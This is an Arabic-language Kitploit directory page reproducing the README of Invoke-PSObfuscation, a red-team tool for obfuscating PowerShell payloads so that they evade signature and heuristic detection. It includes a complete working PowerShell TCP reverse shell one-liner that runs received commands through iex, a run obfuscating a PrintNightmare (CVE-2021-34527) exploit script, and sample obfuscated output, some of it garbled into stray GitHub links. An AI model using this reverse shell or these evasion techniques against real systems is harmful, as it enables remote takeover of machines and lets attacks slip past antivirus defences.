Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Invoke-PSObfuscation — نهج متعمق لإخفاء المكونات الفردية لحمولة PowerShell سواء كنت على Windows أو Kali Linux. | Kitploit
أدوات/GitHubGitHub/gh0x0st/invoke-psobfuscation
توليد الحمولةالاستغلالشيل كودالفريق الأحمرتطوير الحمولات
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

نهج متعمق لإخفاء المكونات الفردية لحمولة PowerShell سواء كنت على Windows أو Kali Linux.

عرض المستودع
2845225منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Invoke-PSObfuscation

تميل تقنيات الإبهام التقليدية إلى إضافة طبقات لتغليف الكود الثابت، مثل base64 أو الضغط. لا تزال هذه الحمولات تحقق درجة متفاوتة من النجاح، لكنها أصبحت تافهة لاستخراج الحمولة المقصودة، ويتم اكتشاف بعض أدوات الإطلاق في كثير من الأحيان، مما يخلق نقاط اختناق أساسية.

النهج الذي تقدمه هذه الأداة هو منهجية تتيح لك استهداف وإبهام المكونات الفردية لسكريبت مع اختلافات عشوائية مع تحقيق نفس المنطق المقصود، دون تغليف الحمولة بأكملها داخل طبقة واحدة. نظرًا لتعقيد منطق الإبهام، سيكون من الصعب جدًا توقيع الحمولات الناتجة وستفلت من محركات الكشف الإرشادية غير المبرمجة لمحاكاة المنطق الموروث.

بينما يمكن لهذا السكريبت إبهام معظم الحمولات بنجاح بمفرده، سيعمل هذا المشروع أيضًا كإطار دائم سأستخدمه لإنتاج وظائف مستقبلية ستستفيد من هذا الإطار لتوفير حمولات مخصصة مبهمة، مثل تلك التي تنتج فقط قذائف عكسية.

لقد كتبت مقالًا في مدونة Offensive Security كمقدمة للتقنيات التي تقدمها هذه الأداة. قبل المضي قدمًا، فكر في قراءته أولاً: https://www.offensive-security.com/offsec/powershell-obfuscation/

حمولات مخصصة

كجزء من عملي المستمر مع إبهام PowerShell، أقوم ببناء سكريبتات تنتج حمولات مخصصة تستخدم هذا الإطار. لقد ساعدتني هذه في توفير الوقت وآمل أن تجدها مفيدة أيضًا. يمكنك العثور عليها داخل مجلداتها الخاصة في جذر هذا المستودع.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

المكونات

مثل العديد من لغات البرمجة الأخرى، يمكن تقسيم PowerShell إلى مكونات عديدة تشكل المنطق القابل للتنفيذ. يتيح لنا ذلك هزيمة الكشف القائم على التوقيع بسهولة نسبية عن طريق تغيير كيفية تمثيل المكونات الفردية داخل الحمولة إلى شكل غامض أو غير مفهوم.

ضع في اعتبارك أن استهداف كل مكون في الحمولات المعقدة هو تدخلي للغاية. تم بناء هذه الأداة بحيث يمكنك استهداف المكونات التي تريد إبهامها بطريقة محكومة. لقد وجدت أن العديد من التوقيعات يمكن هزيمتها ببساطة عن طريق استهداف cmdlets والمتغيرات وأي تعليقات. عند استخدامها ضد حمولات معقدة، مثل print nightmare، ضع في اعتبارك أنه سيتم أيضًا تغيير معاملات/متغيرات الوظائف المخصصة. تأكد دائمًا من اختبار أي حمولات ناتجة بشكل صحيح وتأكد من أنك على دراية بأي معاملات مسماة تم تعديلها.

يتم تقديم أنواع المكونات مثل الأنابيب ومتغيرات الأنابيب هنا للمساعدة في جعل حمولتك أكثر غموضًا وصعوبة في فك التشفير.

الأنواع المدعومة

  • الأسماء المستعارة (iex)
  • Cmdlets (New-Object)
  • التعليقات (# و <# #>)
  • الأعداد الصحيحة (4444)
  • الطرق ($client.GetStream())
  • فئات مساحة الاسم (System.Net.Sockets.TCPClient)
  • الأنابيب (|)
  • متغيرات الأنابيب ($_)
  • السلاسل النصية ("value" | 'value')
  • المتغيرات ($client)

المولدات

يحتوي كل مكون على مولد مخصص يحتوي على قائمة بالقيم الثابتة أو المولدة ديناميكيًا الممكنة التي يتم اختيارها عشوائيًا أثناء كل تنفيذ. إذا كانت هناك مثيلات متعددة لمكون، فسيتم تكرار كل منها بشكل فردي باستخدام مولد. يضيف هذا درجة من العشوائية في كل مرة تقوم فيها بتشغيل هذه الأداة ضد حمولة معينة، لذا ستكون كل تكرار مختلفًا. الاستثناء الوحيد لذلك هو أسماء المتغيرات.

إذا بدأت خوارزمية متعلقة بمكون معين في التسبب في وضع علامة على الحمولة، فإن التصميم الحالي يسمح لنا بتعديل منطق ذلك المولد بسهولة دون المساس بالسكريبت بأكمله.

$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

المتطلبات

تم اختبار هذا الإطار والحمولات الناتجة على نظام التشغيل وإصدارات PowerShell التالية. لن تعمل القذائف العكسية الناتجة على PowerShell v2.0

إصدار PSOS تم اختبارهInvoke-PSObfucation.ps1القشرة العكسية
7.1.3Kali 2021.2مدعوممدعوم
5.1.19041.1023Windows 10 10.0.19042مدعوممدعوم
5.1.21996.1Windows 11 10.0.21996مدعوممدعوم

أمثلة الاستخدام

CVE-2021-34527 (PrintNightmare)

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

قذيفة عكسية لـ PowerShell

$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/16%2A49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/109%2A50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/20%2A46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/51%2A49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/1%2A80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/86%2B83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

قذيفة عكسية مبهمة لـ PowerShell

Alt text

كود شيل كود لـ Meterpreter PowerShell

┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.
تنزيل الأداة